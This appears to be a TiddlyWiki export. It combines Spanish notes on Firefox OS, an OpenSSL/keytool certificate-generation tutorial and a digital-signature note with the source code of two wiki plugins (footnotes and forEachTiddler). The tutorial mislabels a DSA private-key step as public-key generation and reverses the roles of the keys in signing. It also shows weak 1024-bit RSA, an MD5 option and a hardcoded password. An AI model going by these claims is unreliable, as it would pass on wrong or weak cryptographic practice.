Firefox OS es un sistema operativo orientado a teléfonos móviles, creado por la Funcación Mozilla y basado en [[Linux]]. Sus principales característica son la orientación hacia dispositivos poco potentes y las aplicaciones basadas en HTML5+javascript.

Anteriormente fue conocido como //"Boot to Gecko"//, en alusión al nombre del motor de renderizado HTML.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Firefox_OS
* Página oficial: http://www.mozilla.org/es-ES/firefox/partners/#
* Instalar Firefox OS en un movil con [[Android]]: https://developer.mozilla.org/es/docs/Mozilla/Firefox_OS/Portando
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! 1. Introducción
Open SSL es una herramienta prácticamente estándar en la generación de certificados digitales. Soporta la práctica totalidad de protocolos de hash y formatos de claves. Por otro lado, keytool es la herramienta que incorpora el JDK de [[Java]]. No es tan potente como Open SSL, pero es muy efectiva para generar y manejar certificados que sean utilizados por aplicaciones Java

!! 1.1. Generación paso a paso
Pasos para la creación de certificados usando Open SSL:
* ''Instalar Open SSL:'' Obviamente, el primer paso es tener el software de Open SSL instalado y funcionando. Se puede descargar de [[aquí|http://www.slproweb.com/products/Win32OpenSSL.html]].
* ''Generar clave privada:'' La claves pública y privada son fundamentales, porque se usarán para generar y firmar los certificados. Para generar la clave RSA hay que ejecutar lo siguiente en consola:
{{{
openssl genrsa -des3 -out privkey.pem 2048
}}}
(Pedirá una contraseña de cifrado que habrá que introducir dos veces)
* ''Generar la clave pública:'' Una vez creada la clave privada hay que hacer lo propio con la clave pública DSA. Para generarla hay que ejecutar los siguientes comandos:
{{{
openssl dsaparam -out dsaparam.pem 2048
openssl gendsa -des3 -out privkey.pem dsaparam.pem
}}}
Al ejecutar el segundo parámetro pedirá la contraseña usada en el punto anterior.
* ''Crear el certificado autofirmado:'' Ahora por fin vamos a crear el certificado. Para eso hay que ejecutar el siguiente comando:
{{{
openssl req -new -x509 -key privkey.pem -out cacert.pem -days 1095
}}}
Al ejecutar el comando pedirá la contraseña de la clave privada, y una serie de datos sobre el titular del certificado.

¡Y ya está! Si has seguido el procedimiento al pie de la letra, habrás obtenido un certificado ''carcert.pem'' válido para 3 años.

!! 1.2. Forma "rápida y sucia"
Se puede crear un certificado con un único comando:
{{{
openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout privkey.pem -out mycert.pem
}}}

Si el certificado tiene que usar MD5 para el digest (no recomendado):
{{{
openssl req -x509 -nodes -days 1095 -newkey rsa:1024 -keyout privkey.pem -out mycert.pem -md5
}}}

Estos certificados van sin contraseña y son menor seguridad, pero pueden ser útiles y válidos para hacer pruebas rápidas.

! 2. Generación de certificados con [[Java]] keytool
!! 2.1. Creación de un certificado en un keystore
Java posee una poderosa herramienta de gestión de certificados y almacenes de certificados llamada ''keytool''.

Para generar un certificado autofirmado con clave "RSA" de 1024 bits de longitud, y almacenarlo en el almacén de certificados ''selfgen.ks'' tan solo hay que ejecutar un comando:
{{{
keytool -genkey -keystore selfgen.ks -keyalg "RSA" -keysize 1024 -alias fullcarga -validity 3650 -storepass fullcarga
}}}
Al ejecutarlo pedirá los datos del titular.

!! 2.2. Exportar clave pública de un keystore a un fichero cer
Los keystore son usados principalmente en aplicaciones [[Java]], pero para usar el certificado generado en otras aplicaciones es necesario exportar la clave pública a un fichero. Se puede hacer con el siguiente comando:
{{{
keytool -export -keystore fullcarga.keystore -alias fullcarga -filefullcarga.cer
}}}

!! 2.3. Importar un certificado Open SSL a una keystore
Para importar el certificado generado con Open SSL en la sección anterior a un keystore llamado ''openssl.ks'', sólo hay que ejecutar un comando:
{{{
keytool -import -keystore openssl.ks -alias fullcargaCertOpenSsl -keypass fullcarga -file cacert.pem -storepass fullcarga
}}}

Esto sería, evidentemente, el caso opuesto al punto anterior.

!! 2.4. Uso de certificados con Java
La forma más sencilla de hacer disponible un certificado es indicarle al ejecutable de java el fichero keystore y la contraseña del mismo mediante los siguientes parámetros:
{{{
java -Djavax.net.ssl.trustStore=trusted.ks -Djavax.net.ssl.trustStorePassword=fullcarga Main
}}}

! 3. Conversión entre formatos
Muchos servidores y herramientas necesitan que el certificado esté en formato DER (extesiones ''.cer'', ''.crt'' o ''.der''). Para convertir de PEM a DER sólo hay que ejecutar el siguiente comando:
{{{
openssl x509 -outform der -in mycert.pem -out mycert.cer
}}}

! 4. Más información
* http://www.openssl.org/docs/
* http://www.openssl.org/docs/HOWTO/keys.txt
* http://www.openssl.org/docs/HOWTO/certificates.txt
* http://www.adictosaltrabajo.com/tutoriales/tutoriales.php?pagina=securitySSLKeytool
* http://stilius.net/java/java_ssl.php
* http://www.tldp.org/HOWTO/SSL-Certificates-HOWTO/
* http://www.madboa.com/geek/openssl/#cert-self
* http://docs.oracle.com/javase/1.3/docs/tooldocs/win32/keytool.html
* http://www.sslshopper.com/article-most-common-java-keytool-keystore-commands.html
<<showtoc>>
!Descripción
<part descripcion>
La firma digital es una aplicación concreta de algoritmos de hash y cifrado, para firmar un ficheros con una clave pública y poder validarlo únicamente el receptor con su clave privada. Los algoritmos de firma digital aseguran la autenticidad del firmante y que el mensaje firmado no ha sido modificado en modo alguno.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: https://es.wikipedia.org/wiki/Firma_digital
* OpenSSL Howto: http://www.madboa.com/geek/openssl/
* Uso de keytool ([[Java]]): http://docs.oracle.com/javase/1.3/docs/tooldocs/win32/keytool.html
* Referencia rápida de keytool: http://www.sslshopper.com/article-most-common-java-keytool-keystore-commands.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
''Creating a footnote is very easy. Just put the text of the footnote inside triple backticks.''
{{{``` text of footnote ```}}}

''Try clicking on the red numbers, in the paragraphs below, to see the footnotes. 
Edit this tiddler, to see how easy it is, to create footnotes.''

Lorem ipsum dolor sit amet, consectetuer adipiscing elit```This is my first footnote```. Duis eleifend. Phasellus id orci. Suspendisse quis elit pharetra arcu fringilla vulputate. Nullam et orci. In vel dolor quis eros euismod vehicula. Mauris eros lectus, imperdiet id, aliquet quis, mollis bibendum, libero. Suspendisse turpis diam, lobortis id, consectetuer a, porta a, nisl. Morbi tristique, tellus ac mollis suscipit, dolor dui convallis massa, a tristique ligula nisl ac turpis. Pellentesque in elit sit amet urna mattis vulputate. Cras convallis gravida nulla. Integer luctus ante et velit. In vel urna. Donec in sapien.

Ut elementum egestas nibh. Sed at urna non lectus```You can have as many footnotes as you like``` accumsan lobortis. Ut risus nibh, commodo non, blandit sit amet, consequat id, nisl. Nulla facilisi. Curabitur massa magna, vulputate sed, porttitor accumsan, eleifend sit amet, dui. Curabitur risus. Integer id enim vel ligula porttitor laoreet. Vivamus congue lorem id urna. Donec viverra. Donec et massa non arcu sollicitudin bibendum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Pellentesque velit mauris, lacinia eget, lobortis vitae, aliquam a, lectus. Donec pulvinar, libero sit amet auctor volutpat, mauris est posuere nisi, vel aliquet enim nisi in ipsum. Nullam at eros ac leo convallis blandit```Clicking on a footnote link, takes you to the footnote```.

Aliquam erat volutpat. Nam congue. Maecenas vitae tortor. In enim leo, rutrum non, tincidunt at, adipiscing in, lectus. Donec bibendum, lacus a ultricies ultricies, lacus erat rhoncus augue, sit amet vehicula libero massa eget sem. Donec quis felis. Nullam auctor interdum purus. Mauris mauris. Integer interdum blandit erat. Nulla facilisi. Integer fermentum gravida nunc. Maecenas vitae justo ut tortor ultrices dictum. Maecenas purus magna, pellentesque vel, luctus vel, commodo a, enim. Ut convallis, metus in consectetuer dapibus, nisi mi malesuada justo, nec feugiat leo magna et orci. In hendrerit enim eget sem sollicitudin auctor```Footnotes are numbered automatically```. Donec hendrerit, lorem id tincidunt bibendum, dolor dui dignissim velit, eu aliquet dolor sapien tincidunt nunc. Duis condimentum leo laoreet nibh. Proin in lacus quis ante lacinia vestibulum.

Donec pharetra diam at massa. Aliquam ut eros in odio malesuada euismod. Nam interdum. Sed quis quam sed justo hendrerit facilisis. Morbi euismod. Fusce urna lacus, lobortis vitae, feugiat quis, commodo eu, dui. Nunc dui lacus, ultricies sed, pharetra ac, feugiat id, velit. Sed accumsan, metus at pharetra accumsan, nisl ante vulputate lectus, in pretium dui sem nec dui. Quisque mattis arcu eget nulla. Mauris turpis. Donec elementum lacinia turpis. Donec enim diam, feugiat id, feugiat gravida, mollis non, magna```Each footnote, has a back button, to take you to where you came from```. 
/***
|''Name:''|FootnotesPlugin|
|''Description:''|Create automated tiddler footnotes.|
|''Author:''|Saq Imtiaz ( lewcid@gmail.com )|
|''Source:''|http://tw.lewcid.org/#FootnotesPlugin|
|''Code Repository:''|http://tw.lewcid.org/svn/plugins|
|''Version:''|2.01|
|''Date:''|10/25/07|
|''License:''|[[Creative Commons Attribution-ShareAlike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|''~CoreVersion:''|2.2.2|

!!Usage:
*To create a footnote, just put the footnote text inside triple backticks.
*Footnotes are numbered automatically, and listed at the bottom of the tiddler.
*{{{Creating a footnote is easy. ```This is the text for my footnote```}}}
*[[Example|FootnotesDemo]]
***/
// /%
//!BEGIN-PLUGIN-CODE
config.footnotesPlugin = {
	backLabel: "back",
	prompt:"show footnote"
};

config.formatters.unshift( {
    name: "footnotes",
    match: "```",
    lookaheadRegExp: /```((?:.|\n)*?)```/g,
    handler: function(w)
    {
        this.lookaheadRegExp.lastIndex = w.matchStart;
        var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
        if(lookaheadMatch && lookaheadMatch.index == w.matchStart )
            {
			var tiddler = story.findContainingTiddler(w.output);
			if (!tiddler.notes)
				tiddler.notes = [];
			var title = tiddler.getAttribute("tiddler");
			tiddler.notes.pushUnique(lookaheadMatch[1]);
			var pos = tiddler.notes.indexOf(lookaheadMatch[1]) + 1;
			createTiddlyButton(w.output,pos,config.footnotesPlugin.prompt,function(){var x = document.getElementById(title+"ftn"+pos);window.scrollTo(0,ensureVisible(x)+(ensureVisible(x)<findScrollY()?(findWindowHeight()-x.offsetHeight):0));return false;},"ftnlink",title+"ftnlink"+pos);			
			w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
            }
    }
});

old_footnotes_refreshTiddler = Story.prototype.refreshTiddler;
Story.prototype.refreshTiddler = function(title,template,force)
{
    var tiddler = old_footnotes_refreshTiddler.apply(this,arguments);
	if (tiddler.notes && tiddler.notes.length)
	{
		var holder = createTiddlyElement(null,"div",null,"footnoteholder");
		var list = createTiddlyElement(holder,"ol",title+"footnoteholder");
		for (var i=0; i<tiddler.notes.length; i++)
		{
			var ftn = createTiddlyElement(list,"li",title+"ftn"+(i+1),"footnote");
			wikify(tiddler.notes[i]+" ",ftn);
			createTiddlyButton(ftn,"["+config.footnotesPlugin.backLabel+"]",config.footnotesPlugin.backLabel,function(){window.scrollTo(0,ensureVisible(document.getElementById(this.parentNode.id.replace("ftn","ftnlink"))));return false;},"ftnbklink");
		}
		var count = tiddler.childNodes.length;
		for (var j=0; j<count; j++){
			if(hasClass(tiddler.childNodes[j],"viewer")){
				var viewer = tiddler.childNodes[j];	
			}
		}
		viewer.appendChild(holder);
		tiddler.notes = [];
	}
    return tiddler;
};

setStylesheet(
".tiddler a.ftnlink {vertical-align: super; font-size: 0.8em; color:red;}\n"+
".tiddler a.ftnlink:hover, .tiddler .footnoteholder a.ftnbklink:hover{color:#fff;background:red;}\n"+
".tiddler div.footnoteholder{margin:1.8em 1.0em; padding:0.1em 1.0em 0.1em 1.0em ;border-left: 1px solid #ccc;}"+
".tiddler footnoteholder ol {font-size: 0.9em; line-height: 1.2em;}\n"+
".tiddler .footnoteholder li.footnote {margin: 0 0 5px 0;}\n"+
".tiddler .footnoteholder a.ftnbklink{color:red;}\n","FootNotesStyles");
//!END-PLUGIN-CODE
// %/
Here are some examples that show the usage of the write action in the ForEachTiddlerMacro.

//''Select and Sort Examples''//
* InClauseExamples
* WhereClauseExamples
* SortClauseExamples
* ScriptClauseExamples
//''Action Examples''//
* AddToListActionExamples
* WriteActionExamples


Of cause you may also combine the examples, e.g. taking the whereClause of one example, the sortClause of a second and the action of a third.
//~~(Part of the [[ForEachTiddlerPlugin]])~~//

Create customizable lists, tables etc. for your selections of tiddlers. Specify the tiddlers to include and their order through a powerful language.

''Syntax:'' 
|>|{{{<<}}}''forEachTiddler'' [''in'' //tiddlyWikiPath//] [''where'' //whereCondition//] [''sortBy'' //sortExpression// [''ascending'' //or// ''descending'']] [''script'' //scriptText//] [//action// [//actionParameters//]]{{{>>}}}|
|//tiddlyWikiPath//|The filepath to the TiddlyWiki the macro should work on. When missing the current TiddlyWiki is used.|
|//whereCondition//|(quoted) JavaScript boolean expression. May refer to the build-in variables {{{tiddler}}} and {{{context}}}.|
|//sortExpression//|(quoted) JavaScript expression returning "comparable" objects (using '{{{<}}}','{{{>}}}','{{{==}}}'. May refer to the build-in variables {{{tiddler}}} and {{{context}}}.|
|//scriptText//|(quoted) JavaScript text. Typically defines JavaScript functions that are called by the various JavaScript expressions (whereClause, sortClause, action arguments,...)|
|//action//|The action that should be performed on every selected tiddler, in the given order. By default the actions [[addToList|AddToListAction]] and [[write|WriteAction]] are supported. When no action is specified [[addToList|AddToListAction]] is used.|
|//actionParameters//|(action specific) parameters the action may refer while processing the tiddlers (see action descriptions for details). <<tiddler [[JavaScript in actionParameters]]>>|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|


''Using JavaScript''

To give you a lot of flexibility the [[ForEachTiddlerMacro]] uses JavaScript in its arguments. Even if you are not that familiar with JavaScript you may find forEachTiddler useful. Just have a look at the various ready-to-use [[ForEachTiddlerExamples]] and adapt them to your needs.

''The Elements of the Macro''

The arguments of the ForEachTiddlerMacro consist of multiple parts, each of them being optional.

<<slider chkFETInClause [[inClause]] "inClause" "inClause">>
<<slider chkFETWhereClause [[whereClause]] "whereClause" "whereClause">>
<<slider chkFETSortClause [[sortClause]] "sortClause" "sortClause">>
<<slider chkFETScriptClause [[scriptClause]] "scriptClause" "scriptClause">>
<<slider chkFETActions [[Action Specification]] "Action Specification" "Action Specification">>

''Using Macros and ">" inside the forEachTiddler Macro''

You may use other macro calls into the expression, especially in the actionParameters. To avoid that the {{{>>}}} of such a macro call is misinterpreted as the end of the {{{<<forEachTiddler...>>}}} macro you must escape the {{{>>}}} of the inner macro with {{{$))}}} E.g. if you want to use {{{<<tiddler ...>>}}} inside the {{{forEachTiddler}}} macro you have to write {{{<<tiddler ...$))}}}.

In addition it is necessary to escape single {{{>}}} with the text {{{$)}}}.

''Using {{{<<tiddler ... with: ...>>}}} to re-use ForEachTiddler definitions''

Sometimes you may want to use a certain ForEachTiddler definition in slight variations. E.g. you may want to list either the tiddlers tagged with "ToDo" and in the other case with "Done". To do so you may use "Tiddler parameters". Here an example:

Replace the variable part of the ForEachTiddler definition with {{{$1}}} ({{{$2}}},... {{{$9}}} are supported). E.g. you may create the tiddler "ListTaggedTiddlers" like this
{{{
<<forEachTiddler 
 where 
 'tiddler.tags.contains("$1")'
>>
}}}

Now you can use the ListTaggedTiddlers for various specific tags, using the {{{<<tiddler ...>>}}} macro:
{{{
<<tiddler ListTaggedTiddlers with: "systemConfig">>
}}}
{{{
<<tiddler ListTaggedTiddlers with: "Plugin">>
}}}


See also [[ForEachTiddlerExamples]].
/***
|''Name:''|ForEachTiddlerPlugin|
|''Version:''|1.0.8 (2007-04-12)|
|''Source:''|http://tiddlywiki.abego-software.de/#ForEachTiddlerPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]|
|''Copyright:''|&copy; 2005-2007 [[abego Software|http://www.abego-software.de]]|
|''TiddlyWiki:''|1.2.38+, 2.0|
|''Browser:''|Firefox 1.0.4+; Firefox 1.5; InternetExplorer 6.0|
!Description

Create customizable lists, tables etc. for your selections of tiddlers. Specify the tiddlers to include and their order through a powerful language.

''Syntax:'' 
|>|{{{<<}}}''forEachTiddler'' [''in'' //tiddlyWikiPath//] [''where'' //whereCondition//] [''sortBy'' //sortExpression// [''ascending'' //or// ''descending'']] [''script'' //scriptText//] [//action// [//actionParameters//]]{{{>>}}}|
|//tiddlyWikiPath//|The filepath to the TiddlyWiki the macro should work on. When missing the current TiddlyWiki is used.|
|//whereCondition//|(quoted) JavaScript boolean expression. May refer to the build-in variables {{{tiddler}}} and  {{{context}}}.|
|//sortExpression//|(quoted) JavaScript expression returning "comparable" objects (using '{{{<}}}','{{{>}}}','{{{==}}}'. May refer to the build-in variables {{{tiddler}}} and  {{{context}}}.|
|//scriptText//|(quoted) JavaScript text. Typically defines JavaScript functions that are called by the various JavaScript expressions (whereClause, sortClause, action arguments,...)|
|//action//|The action that should be performed on every selected tiddler, in the given order. By default the actions [[addToList|AddToListAction]] and [[write|WriteAction]] are supported. When no action is specified [[addToList|AddToListAction]]  is used.|
|//actionParameters//|(action specific) parameters the action may refer while processing the tiddlers (see action descriptions for details). <<tiddler [[JavaScript in actionParameters]]>>|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|

See details see [[ForEachTiddlerMacro]] and [[ForEachTiddlerExamples]].

!Revision history
* v1.0.8 (2007-04-12)
** Adapted to latest TiddlyWiki 2.2 Beta importTiddlyWiki API (introduced with changeset 2004). TiddlyWiki 2.2 Beta builds prior to changeset 2004 are no longer supported (but TiddlyWiki 2.1 and earlier, of cause)
* v1.0.7 (2007-03-28)
** Also support "pre" formatted TiddlyWikis (introduced with TW 2.2) (when using "in" clause to work on external tiddlers)
* v1.0.6 (2006-09-16)
** Context provides "viewerTiddler", i.e. the tiddler used to view the macro. Most times this is equal to the "inTiddler", but when using the "tiddler" macro both may be different.
** Support "begin", "end" and "none" expressions in "write" action
* v1.0.5 (2006-02-05)
** Pass tiddler containing the macro with wikify, context object also holds reference to tiddler containing the macro ("inTiddler"). Thanks to SimonBaird.
** Support Firefox 1.5.0.1
** Internal
*** Make "JSLint" conform
*** "Only install once"
* v1.0.4 (2006-01-06)
** Support TiddlyWiki 2.0
* v1.0.3 (2005-12-22)
** Features: 
*** Write output to a file supports multi-byte environments (Thanks to Bram Chen) 
*** Provide API to access the forEachTiddler functionality directly through JavaScript (see getTiddlers and performMacro)
** Enhancements:
*** Improved error messages on InternetExplorer.
* v1.0.2 (2005-12-10)
** Features: 
*** context object also holds reference to store (TiddlyWiki)
** Fixed Bugs: 
*** ForEachTiddler 1.0.1 has broken support on win32 Opera 8.51 (Thanks to BrunoSabin for reporting)
* v1.0.1 (2005-12-08)
** Features: 
*** Access tiddlers stored in separated TiddlyWikis through the "in" option. I.e. you are no longer limited to only work on the "current TiddlyWiki".
*** Write output to an external file using the "toFile" option of the "write" action. With this option you may write your customized tiddler exports.
*** Use the "script" section to define "helper" JavaScript functions etc. to be used in the various JavaScript expressions (whereClause, sortClause, action arguments,...).
*** Access and store context information for the current forEachTiddler invocation (through the build-in "context" object) .
*** Improved script evaluation (for where/sort clause and write scripts).
* v1.0.0 (2005-11-20)
** initial version

!Code
***/
//{{{

	
//============================================================================
//============================================================================
//		   ForEachTiddlerPlugin
//============================================================================
//============================================================================

// Only install once
if (!version.extensions.ForEachTiddlerPlugin) {

if (!window.abego) window.abego = {};

version.extensions.ForEachTiddlerPlugin = {
	major: 1, minor: 0, revision: 8, 
	date: new Date(2007,3,12), 
	source: "http://tiddlywiki.abego-software.de/#ForEachTiddlerPlugin",
	licence: "[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]",
	copyright: "Copyright (c) abego Software GmbH, 2005-2007 (www.abego-software.de)"
};

// For backward compatibility with TW 1.2.x
//
if (!TiddlyWiki.prototype.forEachTiddler) {
	TiddlyWiki.prototype.forEachTiddler = function(callback) {
		for(var t in this.tiddlers) {
			callback.call(this,t,this.tiddlers[t]);
		}
	};
}

//============================================================================
// forEachTiddler Macro
//============================================================================

version.extensions.forEachTiddler = {
	major: 1, minor: 0, revision: 8, date: new Date(2007,3,12), provider: "http://tiddlywiki.abego-software.de"};

// ---------------------------------------------------------------------------
// Configurations and constants 
// ---------------------------------------------------------------------------

config.macros.forEachTiddler = {
	 // Standard Properties
	 label: "forEachTiddler",
	 prompt: "Perform actions on a (sorted) selection of tiddlers",

	 // actions
	 actions: {
		 addToList: {},
		 write: {}
	 }
};

// ---------------------------------------------------------------------------
//  The forEachTiddler Macro Handler 
// ---------------------------------------------------------------------------

config.macros.forEachTiddler.getContainingTiddler = function(e) {
	while(e && !hasClass(e,"tiddler"))
		e = e.parentNode;
	var title = e ? e.getAttribute("tiddler") : null; 
	return title ? store.getTiddler(title) : null;
};

config.macros.forEachTiddler.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	// config.macros.forEachTiddler.traceMacroCall(place,macroName,params,wikifier,paramString,tiddler);

	if (!tiddler) tiddler = config.macros.forEachTiddler.getContainingTiddler(place);
	// --- Parsing ------------------------------------------

	var i = 0; // index running over the params
	// Parse the "in" clause
	var tiddlyWikiPath = undefined;
	if ((i < params.length) && params[i] == "in") {
		i++;
		if (i >= params.length) {
			this.handleError(place, "TiddlyWiki path expected behind 'in'.");
			return;
		}
		tiddlyWikiPath = this.paramEncode((i < params.length) ? params[i] : "");
		i++;
	}

	// Parse the where clause
	var whereClause ="true";
	if ((i < params.length) && params[i] == "where") {
		i++;
		whereClause = this.paramEncode((i < params.length) ? params[i] : "");
		i++;
	}

	// Parse the sort stuff
	var sortClause = null;
	var sortAscending = true; 
	if ((i < params.length) && params[i] == "sortBy") {
		i++;
		if (i >= params.length) {
			this.handleError(place, "sortClause missing behind 'sortBy'.");
			return;
		}
		sortClause = this.paramEncode(params[i]);
		i++;

		if ((i < params.length) && (params[i] == "ascending" || params[i] == "descending")) {
			 sortAscending = params[i] == "ascending";
			 i++;
		}
	}

	// Parse the script
	var scriptText = null;
	if ((i < params.length) && params[i] == "script") {
		i++;
		scriptText = this.paramEncode((i < params.length) ? params[i] : "");
		i++;
	}

	// Parse the action. 
	// When we are already at the end use the default action
	var actionName = "addToList";
	if (i < params.length) {
	   if (!config.macros.forEachTiddler.actions[params[i]]) {
			this.handleError(place, "Unknown action '"+params[i]+"'.");
			return;
		} else {
			actionName = params[i]; 
			i++;
		}
	} 
	
	// Get the action parameter
	// (the parsing is done inside the individual action implementation.)
	var actionParameter = params.slice(i);


	// --- Processing ------------------------------------------
	try {
		this.performMacro({
				place: place, 
				inTiddler: tiddler,
				whereClause: whereClause, 
				sortClause: sortClause, 
				sortAscending: sortAscending, 
				actionName: actionName, 
				actionParameter: actionParameter, 
				scriptText: scriptText, 
				tiddlyWikiPath: tiddlyWikiPath});

	} catch (e) {
		this.handleError(place, e);
	}
};

// Returns an object with properties "tiddlers" and "context".
// tiddlers holds the (sorted) tiddlers selected by the parameter,
// context the context of the execution of the macro.
//
// The action is not yet performed.
//
// @parameter see performMacro
//
config.macros.forEachTiddler.getTiddlersAndContext = function(parameter) {

	var context = config.macros.forEachTiddler.createContext(parameter.place, parameter.whereClause, parameter.sortClause, parameter.sortAscending, parameter.actionName, parameter.actionParameter, parameter.scriptText, parameter.tiddlyWikiPath, parameter.inTiddler);

	var tiddlyWiki = parameter.tiddlyWikiPath ? this.loadTiddlyWiki(parameter.tiddlyWikiPath) : store;
	context["tiddlyWiki"] = tiddlyWiki;
	
	// Get the tiddlers, as defined by the whereClause
	var tiddlers = this.findTiddlers(parameter.whereClause, context, tiddlyWiki);
	context["tiddlers"] = tiddlers;

	// Sort the tiddlers, when sorting is required.
	if (parameter.sortClause) {
		this.sortTiddlers(tiddlers, parameter.sortClause, parameter.sortAscending, context);
	}

	return {tiddlers: tiddlers, context: context};
};

// Returns the (sorted) tiddlers selected by the parameter.
//
// The action is not yet performed.
//
// @parameter see performMacro
//
config.macros.forEachTiddler.getTiddlers = function(parameter) {
	return this.getTiddlersAndContext(parameter).tiddlers;
};

// Performs the macros with the given parameter.
//
// @param parameter holds the parameter of the macro as separate properties.
//				  The following properties are supported:
//
//						place
//						whereClause
//						sortClause
//						sortAscending
//						actionName
//						actionParameter
//						scriptText
//						tiddlyWikiPath
//
//					All properties are optional. 
//					For most actions the place property must be defined.
//
config.macros.forEachTiddler.performMacro = function(parameter) {
	var tiddlersAndContext = this.getTiddlersAndContext(parameter);

	// Perform the action
	var actionName = parameter.actionName ? parameter.actionName : "addToList";
	var action = config.macros.forEachTiddler.actions[actionName];
	if (!action) {
		this.handleError(parameter.place, "Unknown action '"+actionName+"'.");
		return;
	}

	var actionHandler = action.handler;
	actionHandler(parameter.place, tiddlersAndContext.tiddlers, parameter.actionParameter, tiddlersAndContext.context);
};

// ---------------------------------------------------------------------------
//  The actions 
// ---------------------------------------------------------------------------

// Internal.
//
// --- The addToList Action -----------------------------------------------
//
config.macros.forEachTiddler.actions.addToList.handler = function(place, tiddlers, parameter, context) {
	// Parse the parameter
	var p = 0;

	// Check for extra parameters
	if (parameter.length > p) {
		config.macros.forEachTiddler.createExtraParameterErrorElement(place, "addToList", parameter, p);
		return;
	}

	// Perform the action.
	var list = document.createElement("ul");
	place.appendChild(list);
	for (var i = 0; i < tiddlers.length; i++) {
		var tiddler = tiddlers[i];
		var listItem = document.createElement("li");
		list.appendChild(listItem);
		createTiddlyLink(listItem, tiddler.title, true);
	}
};

abego.parseNamedParameter = function(name, parameter, i) {
	var beginExpression = null;
	if ((i < parameter.length) && parameter[i] == name) {
		i++;
		if (i >= parameter.length) {
			throw "Missing text behind '%0'".format([name]);
		}
		
		return config.macros.forEachTiddler.paramEncode(parameter[i]);
	}
	return null;
}

// Internal.
//
// --- The write Action ---------------------------------------------------
//
config.macros.forEachTiddler.actions.write.handler = function(place, tiddlers, parameter, context) {
	// Parse the parameter
	var p = 0;
	if (p >= parameter.length) {
		this.handleError(place, "Missing expression behind 'write'.");
		return;
	}

	var textExpression = config.macros.forEachTiddler.paramEncode(parameter[p]);
	p++;

	// Parse the "begin" option
	var beginExpression = abego.parseNamedParameter("begin", parameter, p);
	if (beginExpression !== null) 
		p += 2;
	var endExpression = abego.parseNamedParameter("end", parameter, p);
	if (endExpression !== null) 
		p += 2;
	var noneExpression = abego.parseNamedParameter("none", parameter, p);
	if (noneExpression !== null) 
		p += 2;

	// Parse the "toFile" option
	var filename = null;
	var lineSeparator = undefined;
	if ((p < parameter.length) && parameter[p] == "toFile") {
		p++;
		if (p >= parameter.length) {
			this.handleError(place, "Filename expected behind 'toFile' of 'write' action.");
			return;
		}
		
		filename = config.macros.forEachTiddler.getLocalPath(config.macros.forEachTiddler.paramEncode(parameter[p]));
		p++;
		if ((p < parameter.length) && parameter[p] == "withLineSeparator") {
			p++;
			if (p >= parameter.length) {
				this.handleError(place, "Line separator text expected behind 'withLineSeparator' of 'write' action.");
				return;
			}
			lineSeparator = config.macros.forEachTiddler.paramEncode(parameter[p]);
			p++;
		}
	}
	
	// Check for extra parameters
	if (parameter.length > p) {
		config.macros.forEachTiddler.createExtraParameterErrorElement(place, "write", parameter, p);
		return;
	}

	// Perform the action.
	var func = config.macros.forEachTiddler.getEvalTiddlerFunction(textExpression, context);
	var count = tiddlers.length;
	var text = "";
	if (count > 0 && beginExpression)
		text += config.macros.forEachTiddler.getEvalTiddlerFunction(beginExpression, context)(undefined, context, count, undefined);
	
	for (var i = 0; i < count; i++) {
		var tiddler = tiddlers[i];
		text += func(tiddler, context, count, i);
	}
	
	if (count > 0 && endExpression)
		text += config.macros.forEachTiddler.getEvalTiddlerFunction(endExpression, context)(undefined, context, count, undefined);

	if (count == 0 && noneExpression) 
		text += config.macros.forEachTiddler.getEvalTiddlerFunction(noneExpression, context)(undefined, context, count, undefined);
		

	if (filename) {
		if (lineSeparator !== undefined) {
			lineSeparator = lineSeparator.replace(/\\n/mg, "\n").replace(/\\r/mg, "\r");
			text = text.replace(/\n/mg,lineSeparator);
		}
		saveFile(filename, convertUnicodeToUTF8(text));
	} else {
		var wrapper = createTiddlyElement(place, "span");
		wikify(text, wrapper, null/* highlightRegExp */, context.inTiddler);
	}
};


// ---------------------------------------------------------------------------
//  Helpers
// ---------------------------------------------------------------------------

// Internal.
//
config.macros.forEachTiddler.createContext = function(placeParam, whereClauseParam, sortClauseParam, sortAscendingParam, actionNameParam, actionParameterParam, scriptText, tiddlyWikiPathParam, inTiddlerParam) {
	return {
		place : placeParam, 
		whereClause : whereClauseParam, 
		sortClause : sortClauseParam, 
		sortAscending : sortAscendingParam, 
		script : scriptText,
		actionName : actionNameParam, 
		actionParameter : actionParameterParam,
		tiddlyWikiPath : tiddlyWikiPathParam,
		inTiddler : inTiddlerParam, // the tiddler containing the <<forEachTiddler ...>> macro call.
		viewerTiddler : config.macros.forEachTiddler.getContainingTiddler(placeParam) // the tiddler showing the forEachTiddler result
	};
};

// Internal.
//
// Returns a TiddlyWiki with the tiddlers loaded from the TiddlyWiki of 
// the given path.
//
config.macros.forEachTiddler.loadTiddlyWiki = function(path, idPrefix) {
	if (!idPrefix) {
		idPrefix = "store";
	}
	var lenPrefix = idPrefix.length;
	
	// Read the content of the given file
	var content = loadFile(this.getLocalPath(path));
	if(content === null) {
		throw "TiddlyWiki '"+path+"' not found.";
	}
	
	var tiddlyWiki = new TiddlyWiki();

	// Starting with TW 2.2 there is a helper function to import the tiddlers
	if (tiddlyWiki.importTiddlyWiki) {
		if (!tiddlyWiki.importTiddlyWiki(content))
			throw "File '"+path+"' is not a TiddlyWiki.";
